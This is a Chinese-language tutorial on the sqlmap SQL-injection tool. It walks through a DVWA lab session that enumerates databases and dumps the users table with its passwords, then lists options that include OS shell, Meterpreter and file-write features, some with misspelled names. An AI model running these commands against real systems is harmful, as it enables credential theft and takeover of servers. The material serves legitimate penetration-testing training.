sqlmap介绍和用法

sqlmap简介

sqlmap是一款基于python编写的渗透测试工具,在sql检测和利用方面功能强大,支持多种数据库。

功能:sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞。

sqlmap常用命令

Target:

-u 指定目标url
例子:sqlmap+dvwa注入
因为

#sqlmap -u "http://192.168.60.128/dvwa/vulnerabilities/sqli/?id=1没有cookie权限不够所以加上--cookie
sqlmap -u "http://192.168.60.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=13h6r8914h2cfgojt7gat2b4a6"

效果图:
发现四个类型注入漏洞
在这里插入图片描述
试探数据库:
在这里插入图片描述
结果:共五个数据库其中有dvwa在这里插入图片描述
试探表:
在这里插入图片描述
结果:发现users表可能有敏感信息
在这里插入图片描述
查看表内容:
在这里插入图片描述
结果:发现用户密码
在这里插入图片描述
参数解析:

#这里开始抽象参数可参考上面.下面这是发现注入漏洞后尝试获取数据库
sqlmap -u ip/route/?id=1 --cookie "*"--dbs 
#参数--dbs 列出目标可能存在数据库,--current-db,列出当前数据库
sqlmap -u ip/route/?id=1 --cookie "*"-D dvwa --tables
#确定数据库可查看表—D是指定数据库--tables是列出数据库可能存在的表
sqlmap -u ip/route/?id=1 --cookie "*"-D dvwa -T users --column
#确定表可以查看数据表结构-T指定表--column列出表设计类型
#得知属性后可以用-C user,password --dump 显示指定列内容
sqlmap -u ip/route/?id=1 --cookie "*"-D dvwa -T users --dump
#确定表可以查看数据表结构-T指定表--dump列出表内容查看密码等

-d 直接连接数据库

-l 从burp代理日志的解析目标

-r 从文件中加载http请求

-g 从google dork的结果作为目标url

-c 从INI配置文件中加载选项

Request:

-A 指定user-agent头

-H 额外的header

-method= 指定HTTP方法(GET/POST)

–data= 通过POST提交数据

–param-del= 指定参数分隔符

–cookie= 指定cookie的值

–cookie-del= 指定cookie分隔符

–drop-set-cookie 扔掉response中的set-cookie头

–random-agent 使用随机的user-agent头

–host= 设置host头

–referer= 指定referer头

–headers= 额外的headers

–auth-type= http认证类型(Basic,NTLM,Digest)

–auith-cred= http认证凭证(账号:密码)

–ignore-proxy 忽略系统代理(常用于扫描本地文件)

–proxy= 使用代理

–proxy-cred= 代理认证证书(账号:密码)

–delay= 设置延迟时间(两个请求之间)

–timeout= 超时时来连接前等待(默认 30)

–retries= 连接超时时重试次数(默认 3)

–randomize= 随机更改指定的参数的值

–safe-url= 在测试期间经常访问的URL

–safe-post= POST数据发送到安全的URL

–safe-freq= 两次请求之间穿插一个安全的URL

–skip-urlencode 跳过payload数据的URL编码

–chunked 使用HTTP分块传输加密POST请求

–hpp 使用HTTP参数pollution方法(常用于绕过IPS/IDS检测)

–force-ssl 强制使用SSL/HTTPS

–eval=value 请求之前提供Python代码(eg:“import hashlib;id2=hashlib.md5(id).hexdigest()”)

Optimization

-o 打开所有优化开关

–predict-output 预测输出(与–threads不兼容)

–keep-alive 建立长久的HTTP(S)连接 (与–proxy不兼容)

–null-connection 空连接

–threads=value 设置线程(默认 1)

Injection

-p 指定测试参数

–skip= 跳过指定参数的测试

–skip-static 跳过测试静态的参数

–dbms= 指定具体DBMS

–os= 指定DBMS操作系统

–invalid-bignum 使用大数字使值无效

–invalid-logical 使用逻辑符使值无效

–invalid-string 使用字符串使值无效

–no-cast 关闭payload铸造机制

–no-escape 关闭字符转义机制(默认自动开启)

–prefix= 加入payload前缀

–suffix= 加入payload后缀

–tamper= 指定使用的脚本

Detectiong

–level= 指定测试的等级(1-5 默认为1)

–risk= 指定测试的风险(0-3 默认为1)

–string= 登录成功时,页面所含有的“关键字” 用于证明已经登录成功

–not-string= 登录成功时,页面所含有的“关键字” 用于证明已经登录失败

–code= 查询为真时,匹配的HTTP代码

–smart 当有大量检测目标时,只选择基于错误的检测结果

–text-only 仅基于文本内容比较网页

–titles 仅基于标题比较网页

Techniques

–technique= 指定sql注入技术(默认BEUSTQ)

–time-sec= 基于时间注入检测相应的延迟时间(默认为5秒)

–union-clos= 进行查询时,指定列的范围

–union-char= 指定暴力破解列数的字符

Fingerprint

-f 查询目标DBMS版本指纹信息

Emuneration

-a 查询所有

-b 查询目标DBMS banner信息

–current-user 查询目标DBMS当前用户

–current-db 查询目标DBMS当前数据库

–is-dba 查询目标DBMS当前用户是否为DBA

–users 枚举目标DBMS所有的用户

–paswords 枚举目标DBMS用户密码哈希值

–privileges 枚举目标DBMS用户的权限

–roles 枚举DBMS用户的角色

–dbs 枚举DBMS所有的数据库

–tables 枚举DBMS数据库中所有的表

–columns 枚举DBMS数据库表中所有的列

–count 检索表的条目的数量

–dump 存储DBMS数据库的表中的条目

–dump-all 存储DBMS所有数据库表中的条目

–D db 指定进行枚举的数据库名称

–T table 指定进行枚举的数据库表名称

–C column 指定进行枚举的数据库列名称

–exclude-sysdbs 枚举表时排除系统数据库

–sql-query 指定查询的sql语句

–sql-shell 提示输入一个交互式sql shell

Brute force

–common-tables 暴力破解表

–common-colomns 暴力破解列

File system access

–file-read 从目标数据库管理文件系统读取文件

–file-write 上传文件到目标数据库管理文件系统

–file-dest 指定写入文件的绝对路径

–os-cmd= 执行操作系统命令

–os-shell 交互式的系统shell

–os-pwn 获取一个OOB shell,Meterpreter或者VNC

–os-smbrelay 一键 获取一个OOB shell,Meterpreter或者VNC

–os-bof 储存过程缓冲区溢出利用

–os-esc 数据库进程用户权限提升

–msf-path= Metasploit Framework本地安装路径

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值